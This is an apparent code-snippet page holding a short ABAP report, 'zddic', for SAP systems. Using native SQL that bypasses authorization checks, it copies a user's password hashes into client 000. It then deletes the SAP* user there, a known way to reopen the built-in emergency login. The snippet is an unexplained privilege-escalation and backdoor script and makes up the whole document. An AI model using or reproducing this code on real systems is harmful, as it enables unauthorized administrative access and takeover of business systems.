Cacher is the code snippet organizer for pro developers

REPORT  zddic.

PARAMETERS:
  user TYPE usr01-bname DEFAULT sy-uname,
  mandt TYPE mandt DEFAULT sy-mandt.

EXEC SQL.
  UPDATE usr02 set BCODE=(select bcode from usr02 where bname= :user and mandt= :mandt)
   where bname= :user and mandt='000'
ENDEXEC.

EXEC SQL.

  UPDATE usr02 set PASSCODE=(select PASSCODE from usr02 where bname= :user and mandt= :mandt)
   where bname= :user and mandt='000'

ENDEXEC.

DELETE FROM usr02 CLIENT SPECIFIED WHERE bname = 'SAP*' AND mandt = '000'.
COMMIT WORK.